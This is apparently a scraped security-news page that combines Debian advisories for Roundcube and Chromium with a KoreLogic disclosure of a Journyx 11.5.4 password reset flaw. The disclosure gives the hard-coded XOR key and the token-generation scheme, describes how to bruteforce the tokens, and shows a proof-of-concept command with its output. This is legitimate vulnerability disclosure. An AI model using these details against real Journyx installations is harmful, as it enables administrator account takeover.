CVE ID         : CVE-2024-42008 CVE-2024-42009 CVE-2024-42010

Multiple cross-site scripting vulnerabilities were discovered in  
RoundCube webmail.

 For the stable distribution (bookworm), these problems have been fixed in  
version 1.6.5+dfsg-1+deb12u3.

We recommend that you upgrade your roundcube packages.

For the detailed security status of roundcube please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/roundcube

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAma0oZkACgkQEMKTtsN8  
TjYxhA//UCLgEJvU4lRhVKupyDDsLgIxy4yWCvwDORqLtckWd83mJZXqbnUQYOUU  
bvTaAHZ5XEEQ8mNwviDwgQZoSK7hY0ZHPb3NSbuc/2hl6aVUp9BqxzQ0iZ4haxiY  
LtbqB29zpelXB0orRgH+rNISBLwAei2C+Vf213TKTmceiUGzhRxvkJKr4H++W2b6  
7OkAoYqXIIH8OvKJmMgLirW/+toGR29c9F29d+C3Oyq/Qis0e/6osDIehFAdayro  
EGJAvoUm72Vfe+syTF3csItT4vtf73qMb51CP67ATeGZ29j7bllqHgybLfjfZyI7  
a4v5/VUGe+tDxvFiSsPCpBDuin843qt3rflrcy/LFaVvrYa7/SIcwV84uxVrjf85  
mwwlIIud8n01EY7oPw0LK51a6MIrniFePAC3/KyYgBhya+hKE1T3JLQ/8XDRk/zo  
M9Mqu1MbtamhjAeTdzkckRr+9ho+meY5un1MmnPtVIMoAaNhG/AteeqAuwCtucAF  
Fg36kslrDwd+ojYUavIaE3AoRoLRzto5aAy46tXCE5JSakw2haKpBHoQfAhFwLZ/  
59xds+gu7lRWp71Qhx2xBYclJ9XGNsdyx1g8Dzt0tPTQxwHCShP3fI2Wit8QOsWu  
VeqdGxyqGT+cFrTmWRaVCKRQOsUgLjTpY2Nm5aKorBdD1HT8FU0=  
=eXCy  
-----END PGP SIGNATURE-----

Debian Security Advisory 5743-1

Journyx version 11.5.4 suffers from an issue where password reset tokens are generated using an insecure source of randomness. Attackers who know the username of the Journyx installation user can bruteforce the password reset and change the administrator password.

KL-001-2024-007: Journyx Unauthenticated Password Reset Bruteforce

Title: Journyx Unauthenticated Password Reset Bruteforce  
Advisory ID: KL-001-2024-007  
Publication Date: 2024.08.07  
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-007.txt

1. Vulnerability Details

      Affected Vendor: Journyx  
      Affected Product: Journyx (jtime)  
      Affected Version: 11.5.4  
      Platform: GNU/Linux  
      CWE Classification: CWE-321: Use of Hard-coded Cryptographic Key,  
                          CWE-334: Small Space of Random Values,  
                          CWE-799: Improper Control of Interaction Frequency  
      CVE ID: CVE-2024-6890

2. Vulnerability Description

      Password reset tokens are generated using an insecure source  
      of randomness. Attackers who know the username of the Journyx  
      installation user can bruteforce the password reset and change  
      the administrator password.

3. Technical Description

     From an unauthenticated perspective, a user can initiate the  
     password reset flow by clicking the "Reset your password" button  
     on the Journyx login screen and supplying a valid username. A  
     password reset link containing a "random" token is sent to the  
     email address associated with the username.

     The password reset token is generated using the current epoch  
     and the user ID associated with the request. The user ID is  
     a 128-bit UUID for every user *except* for the user created  
     during the initial setup of the Journyx instance, i.e., the  
     system administrator account. For this single user, the user  
     ID defaults to the username. By targeting this user, the need  
     to leak a UUID is removed entirely. If the Journyx instance was  
     configured according to the official System Administration guide  
(https://journyx.com/Files/Journyx_Sysadmin_and_Recovery_v11.pdf),  
     the username is "journyx". Alternatively, the username can be  
     leaked via stacktraces.

     When generating the token, a secret key is created by inserting  
     the user ID inbetween the strings 'chuck' and 'palahniuk':

         mysessiontoken = 'chuck%spalahniuk' % me

     This key is used to XOR the string literal representation of  
     the list object "[userID, time.time()]". The output of the XOR  
     function is then base64 encoded:

         eStr = xor_str(istr, key)  
         aStr = binascii.b2a_base64(eStr).strip()

     Since the user ID is a known value, only the output of  
     "time.time()" (the epoch at the time of "encryption") is  
     unknown. However, by opening a TCP connection and noting the  
     epoch immediately after sending an HTTP request to initiate  
     the password reset flow, a pool of tokens can be generated by  
     incrementing the epoch. There is a high degree of certainty  
     the valid reset token is contained within a pool larger than  
     50,000 tokens.

     Depending upon network latency and other external factors,  
     a successful bruteforce attack using these tokens can take  
     anywhere from several minutes to over an hour.

4. Mitigation and Remediation Recommendation

      The vendor reports that this issue was remediated in Journyx  
      v12.0.0, which is the first wholly cloud-hosted version of  
      this product.

      For self-hosted versions of Journyx, one incremental  
      improvement is to disable user-initiated password reset  
      functionality in the application settings.

      1) Log into the JournyX web application as an administrator  
      2) Navigate to Configuration -> System Settings -> Security Settings  
      3) Ensure the checkbox labeled "Show a password reset button on login  
         screen" is disabled.  
      4) Click the "Save" button

      Another option would be to monkey patch the .pyc file that  
      contains these hardcoded strings, ./wtdoc.pyc, by deploying a .py  
      file that uses unique strings and then loads wtdoc_original.pyc  
      (see KL-001-2024-008 and KL-001-2024-009 for examples).

5. Credit

      This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.

6. Disclosure Timeline

      2024.01.31 - KoreLogic notifies Journyx support of the intention to  
                   report vulnerabilities discovered in the licensed,  
                   on-premises version of the product.  
      2024.01.31 - Journyx acknowledges receipt.  
      2024.02.02 - KoreLogic requests a meeting with Journyx support to share  
                   vulnerability details.  
      2024.02.07 - KoreLogic reports vulnerability details to Journyx.  
      2024.02.09 - Journyx responds that this vulnerability has been remediated  
                   in the cloud-hosted version of the product.  
      2024.02.21 - KoreLogic offers to test the cloud version to confirm  
                   the fix; no response.  
      2024.07.01 - KoreLogic notifies Journyx of impending public disclosure.  
      2024.07.09 - Journyx confirms version number of the remediation.  
      2024.08.07 - KoreLogic public disclosure.

7. Proof of Concept

     The following script automatically exploits this issue by initiating  
     a password reset flow and bruteforces the value after generating a  
     list of 50,000 tokens.

     [attacker@box]$ python unauth2rce.py --url http://redacted.com:8080/ --username foo --command id  
     [*] Beginning Attack. Using the following timestamp: "1706708084.2051988"  
     [+] New Password Generated: 2DCD5AE1F0F34B84A1E0F1FB5768219B

The contents of this advisory are copyright(c) 2024  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:  
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

Journyx 11.5.4 Unauthenticated Password Reset Bruteforce

Debian Linux Security Advisory 5741-1 - Security issues were discovered in Chromium which could result in the execution of arbitrary code, denial of service, or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5741-1                   security@debian.orghttps://www.debian.org/security/                           Andres SalomonAugust 08, 2024                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2024-7532 CVE-2024-7533 CVE-2024-7534 CVE-2024-7535                  CVE-2024-7536 CVE-2024-7550Security issues were discovered in Chromium which could resultin the execution of arbitrary code, denial of service, or informationdisclosure.For the stable distribution (bookworm), these problems have been fixed inversion 127.0.6533.99-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCAAdFiEEUAUk+X1YiTIjs19qZF0CR8NudjcFAma0SqsACgkQZF0CR8NudjfspBAAnoPrE5KCKoP9rOTUQVYwKg7ySO7mOvgecvQJ9oFxFQ4zFfMsX5f2N10ISOfsydkFqSslkHyKuqBErZrbcOLAf98/DRs+UAqKYZhCi3aN0HF7qD4TGAXT/QaWL14ZYxGqlt6Mmw0YzQIC8naN9FyrR2cUO2lZQzLv918Rtencr4S6+XEMvwOEpSf71oypdKjlvcMb8SzAJrvpAvzF9Hk+d/KwOmtvz+lY+8F9VHevv2/S+L//D2oH0k+kEBHFS3qHn7loOlBilntKWRLogPSfW4ypqrZpaK4FPCuETc+komSZJk7tFDjEDgLjGLTBAJeLPNbGTdkR+lXWxiL6HxCEXUIr+eOCue7LxMQapENcdMJxiHfphaokHF05YEKADDd/g7i69v5PweKjGDyCNaqXvV4KdZN5CWs7ykp61TdWsO+qio9VaD4tYSqqPV80CnZGMARthPhqu8ANie12WemtuxWZdt5VlZhR2fV0oBDWZuRhFs3XPSnV+ImVXB8/Gu81OiWPRejWWT/Xbs3vVNQ50IqcbXFNTAKmAn1qAC7zfLqqELLA8/h83z7duevrk3NPiD4eDPIX77iyHFfXJkEmzHAauhGFOZrOkQ1ptIsgRT23ETK6Gj1WPfdR73HJjUUaG34dDV5PZUW84NFhB9jgz1GC/ukHyd4HYC34U4i1N8c==/7aP-----END PGP SIGNATURE-----

Tag

#linux